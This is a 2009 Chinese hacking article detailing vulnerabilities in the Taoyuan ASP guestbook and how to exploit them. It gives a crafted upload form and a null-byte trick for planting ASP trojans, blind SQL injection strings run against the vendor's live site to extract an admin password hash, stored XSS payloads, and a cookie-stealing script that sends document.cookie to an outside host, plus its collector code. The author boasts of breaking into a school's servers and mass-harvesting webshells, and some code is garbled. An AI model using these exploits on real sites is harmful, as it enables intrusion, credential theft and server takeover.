智思留言本漏洞:研究桃源留言本的漏洞来源: 发布时间:星期六, 2009年9月12日 浏览:157次 评论:0
桃源留言本是桃源工作室http://www.mytaoyuan.com/开发个asp留言系统由于桃源留言本界面清新功能强大简洁适用所以被些大大小小网站WebSite所采用受到许多站长好评桃源留言本由原来2.0版升级到现在3.0版其官方网站WebSite也是3.0版前段时间我在入侵我们学校网站WebSite时候发现了个部门网站WebSite上有这个留言本于是引起了我对它番研究我下载了各个版本源代码读了部分代码的后发现漏洞还真不少
.上传漏洞 我在网上搜索时候发现已经有人公布了个上传漏洞不过网上公布是针对2.0版不全面桃源留言本上传漏洞其实在所有版本都存在所有版本都有3个上传地方:Upfile_Article.asp,Upfile_Dialog.asp,Upfile_Photo.asp.这里上传漏洞和动力3.51上传漏洞基本上是样动网带来了上传漏洞热潮已经过去了相信大家对上传漏洞已经相当熟悉不过我这里还是要提下来看桃源留言本最新版本3.0Upfile_Article.asp部分代码 for each formName in upload.file '列出所有上传了文件个FOR循环! ofile=upload.file(formName) '生成个文件对象 ... arrUpFileType=split(UpFileType,"|") '取得定义可以上传后缀名 for i=0 to ubound(arrUpFileType) fileEXT=trim(arrUpFileType(i)) then EnableUpload=true hohoEnableUpload '变量改变了! exit for end next fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" or fileEXT="cer" or fileEXT="cdx" then '呵呵都过滤了 EnableUpload=false end EnableUpload=false then msg="这种文件类型不允许上传!\n\n只允许上传这几种文件类型:" & UpFileType FoundErr=true hohoFoundErr '变量改变了! end ... FoundErr<>true then '又是个重要地方FoundErr变量是能否上传关键 randomize ranNum=(900*rnd)+100 '生成个随机数 filename=SavePath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt '没改变上传文件后缀 ... 这里又是化境无组件上传具体漏洞原理分析,我不想多说了,有太多人分析了由于化境无组件上传可以同时上传多个文件作者没有考虑到这种情况当我们上传两个文件时假设第个为1.g第 2个为2.php1.g符合可以上传后缀名 变量EnableUpload=true了当第 2个文件2.php上传时候变量值没有改变而且php不在aspaspxcercdx这几种特殊情况的内又骗过了检测 FoundErr<>true于是2.php也会随着1.g上传到服务器上传1.g是为了给2.php做掩护第 2个文件可以是除aspaspxcercdx以外任意后缀如果服务器支持jsp我们也可以传jsp木马实际上这个3.0版Upfile_Article.asp还是对上传漏洞又所修补不过修补够我们还有办法突破在以前2.0版2.1版上面那句是: fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then,这样我们就随便传cercdx后缀asp木马了3.0版还真奇怪Upfile_Article.asp和Upfile_Photo.asp都修补了下也就是增加了对cercdx后缀过滤但是Upfile_Dialog.asp却和2.0版2.1版样因此3.0版我们可以直接对Upfile_Dialog.asp加以利用把upload_Dialog.asp关键部分加以修改: <body bgColor=menu leftmargin="5" topmargin="0"> <form action="http://www.mytaoyuan.com/ly/Upfile_Dialog.asp" method="post" name="form1" _disibledevent=><input name="FileName" type="FILE" ="tx1" size="35"> <input name="FileName1" type="FILE" ="tx1" size="35"> <input type="submit" name="Submit" value="上传"> <input name="DialogType" type="hidden" id="DialogType" value="pic"> </form> </body> 如图1 注意后面DialogType这个隐藏变量HOHO第个文件选g文件第 2个就把asp木马改后缀为cdx传上去就ok了如图2 3.0版Upfile_Article.asp这种修补漏洞思路方法不可取其实自从动力漏洞公布后很多系统又相似漏洞许多站长就是这么修补上传漏洞可惜他们并不懂得真正原理我们构造asp .g后缀同样把Upload_Article.asp加以改造上传2个文件第个1.g第2个2.asp .g再上传抓包保存为bao.txt用winhex打开bao.txt把空格对应20棏改为00(相信大家都熟练了)再用nc提交nc www.mytaoyuan.com 80<bao.txt这样就把asp木马传上去如图较好地修补可以在upfile_Dialog.asp找到 FoundErr<>true then randomize ranNum=(900*rnd)+100 filename=SavePath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt ofile.SaveToFile Server.mappath(FileName) '保存文件 在FileName=SavePath & ofile.FileName下增加:FileName=Replace(FileName,Chr(0),"")即可它过滤了00. 2.注入漏洞 打开留言本发现留言本底部有个搜索框如图3 .再看它default.asp里面代码 select option1 1 SQL="Select * From guest where "&mark&"subject like '%"&text&"%'"&jinghua&" order by top1,lastdate desc" 2 SQL="Select * From guest where "&mark&"content like '%"&text&"%'"&jinghua&" order by top1,lastdate desc" 3 前后对text变量没有任何过滤如果我们再框里填上搜索词:建议' and 1=1 and '%'=' 查询语句变成了:'subject like '%建议' and 1=1 and '%'='%' and webid='' order by top1,lastdate desc' 配配了单引号于是正常返回和建议有关内容我对桃源留言本官方网站WebSite测试如下: 建议' and 1=(select @@version) and '%'=' //看是不是sql数据库 建议' and 0<>(select count(*) from register) and '%'=' //看管理员表是否存在我怕管理员改了默认表名 建议' and 0<>(select id from register where username='admin') and '%'=' //看管理员是不是admin 建议' and (select username from register where username='风雨无阻') and '%'='//确定管理员是风雨无阻这是从留言本是看到 建议' and 0<>(select id from register where id=1) and '%'=' //确定管理员id是否为1 建议' and exists (select id from register where len(password1)=16 and id=1) and '%'=' //确定管理员密码是否也md5加密了 建议' and (select top 1 id from register where id=1 and asc(mid(password1,1,1))<100) and '%'='//猜密码长度了,已经知道是16位md5 建议' and (select top 1 id from register where id=1 and asc(mid(password1,1,1))=51) and '%'=' 建议' and (select top 1 id from register where id=1 and asc(mid(password1,2,1))<100) and '%'=' ... 把16位md5密码每位都猜出来了对照asc码表就确定了密码是密文:350e2cfa35948c49,可以检验下提交: 建议' and (select password1 from register where password1='350e2cfa35948c49') and '%'=' 桃源留言本所有基本上都没过滤再看show.asp,用来显示留言 dsql="delete From reply where id1="&request("id") conn.execute(dsql) rs.open "Select * from guest where ID = " & request("ID1"),conn,2,3 id这个变量任何过滤这样我们点击任意条留言就是注入点了 3.cookies漏洞 读到login.asp发现如下代码: response.cookies("ly").Path=cookiePath response.cookies("ly")("useridname")=name response.cookies("ly")("useridpassword")=pass rs("level1")="管理员" then response.cookies("ly")("admin")=1 rs("level1")="版主" then response.cookies("ly")("admin")=2 response.cookies("ly")("admin")=0 我马上阵高兴cookies里admin这个变量我们可以自己制定这样自己不就是管理员么?修改cookies最好用桂林老兵那个修改cookies 浏览器比较方便但是发现没有用再default.asp中有: session("useridname")<>"" then rs.open "select level1 from register where username='"&session("useridname")&"'",conn,1,1 not rs.eof then rs("level1")="管理员" then session("admin")=1 rs("level1")="版主" then session("admin")=2 rs("level1")<>"版主" and rs("level1")<>"管理员" then session("admin")=0 session("admin")=0 end 这就是加了session认证此留言本无后台只要是管理员就可以前台进行管理操作而每个有管理功能页面都是这样: <% session("admin")<>1 then response.Redirect "default.asp"%> 而且cookies中密码是明文显示如:useridpassword=ccc&admin=1&useridname=ccc这样上面我们注入得到密码也无法进行cookies欺骗除非破解出来才行不过这样也有个安全原因cookies中密码是明文这样保密性不好如果被人偷看了而我们密码又和什么邮箱QQ密码样那就惨了 4.跨站攻击 这个问题要比上面严重漏洞主要出在guest_register.asp这里是注册定义头像地方定义头像可以选择系统自带头像也可以自己上传个框框填些自己定义头像地址 <input name="myface" type="text" ="input1" id="QQ3" size="30"> <br> </font></div></td> <td width="458" align="center"><div align="left"><rame style="top:2px" ID="UploadFiles" src="upload_Photo.asp?PhotoUrlID=0" frameborder=0 scrolling=no width="320" height="25"></rame> <br> 然后在guest_info.asp中这里是修改自己注册信息地方 <td width="11%"><img src="<% rs("myface")<>"" then response.write(rs("myface")) response.write(rs("face"))%>" width="72" id=idface ></td> myface这个变量没有经过过滤我们构造头像:11.g"><script>alert('aaa啊')</script>最后显示出来就是: <img src="11.g"><script>alert('aaa啊')</script>" width="20" height="30"> <input name="myface" type="text" ="input1" id="QQ3" value="11.g">alert('aaa啊')</script>" size="30"> 自然就弹出两次对话框如图4经测试个人主页那里也可以进行跨站攻击我们就个人主页那里填: alert('aaa">http://<script>alert('aaa啊')</script>最后显示出来就是: <a href="alert('aaa">http://<script>alert('aaa啊')</script>" target="_blank">http://<script>alert('aaa啊')</script></a></font></div></td> 我们代码又执行了填些qq号码那里也每过滤不过长度有限制不能跨站 这样我们构造跨站的后只要管理员看了我们发帖子或者资料他就中招了前面不是谈到cookies中密码明文显示么?我们就跨站偷cookies我们构造头像11.g"><script>window.open('http://webshell.com/qq156544632/co.asp?msg='+document.cookie)</script> 个人主页window.open('http://webshell.com/qq156544632/co.asp?msg='+document.cookie)http://<script>window.open('http://webshell.com/qq156544632/co.asp?msg='+document.cookie)</script>就行了我们http://webshell.com/qq156544632/下面co.asp应该这样些: <% msg=Request.ServerVariables("QUERY_STRING") testfile=Server.MapPath("qq156544632.txt") fs=server.CreateObject("scripting.filesystemobject") thisfile=fs.OpenTextFile(testfile,8,True,0) thisfile.WriteLine(""&msg& "") thisfile.close fs = nothing %> <script language=vbscript>window.close</script> (此代码好像是Lcx大哥原创在此表示感谢)这样管理员cookies就会写到http://webshell.com/qq156544632/156544632.txt里面 这里顺便说下以上跨站代码用了Fso对象所以你http://webshell.com/必须支持FSOwindow.close这里是为了关闭http://webshell.com/qq156544632/co.asp以免引起怀疑看我偷cookies图如图5. 5.其它漏洞 桃源留言本默认数据库为mdb文件没有任何防下载措施在“黑客”越来越多今天写代码还这样有点不应该了后台有备份恢复数据库功能假设我们得到了管理密码能进行管理操作如果数据库被改成了asp我们就随便什么地方把句话asp木马写进他数据库把他数据库变成asp木马如果数据库没改或我们不知道数据库路径我们就先把句话木马写进数据库再备份数据库备份数据库默认为asa文件假设我们备份为Databackup/langzi.asa,我们直接访问http://www.xxx.com/Databackup/langzi.asa,是不是也可以用句话asp木马进行操作了? 看完了是不是觉得漏洞挺多啊?留言本般再网站WebSite中起配角作用次许多网站WebSite管理员对留言本脚本安全不够重视而且留言本开发者 也在安全性上不够努力实际上任何个微小漏洞都有可能威胁到服务器安全千里的堤溃于蚁穴就拿我来说吧就是通过这个留言本漏洞入侵了我们学校个部门网站WebSite进而入侵了学校网站WebSite再进步控制学校网站WebSite服务器最后我渗透内网控制了学校所有服务器希望以后脚本编写者定要懂得安全第也希望其它类似留言本不要出现本文所提到漏洞用baidu搜索"填写留言 用户登录 用户注册 发言排名 查看精华"或其它关键词就可以找到大批使用桃源留言本网站WebSite90%以上都存在漏洞我瞬间就得到批webshell目前桃源留言本官方网站WebSite漏洞还没补留言本系统直供人下载希望大家千万不要上去捆马也不要攻击其它国内网站WebSite 由于本人水平有限而且是在有限时间里粗略地看了下代码遗漏在所难免欢迎和我交流本人qq:156544632当然最好是上我们地黑客X档案地论坛去讨论 0
相关文章读者评论发表评论 |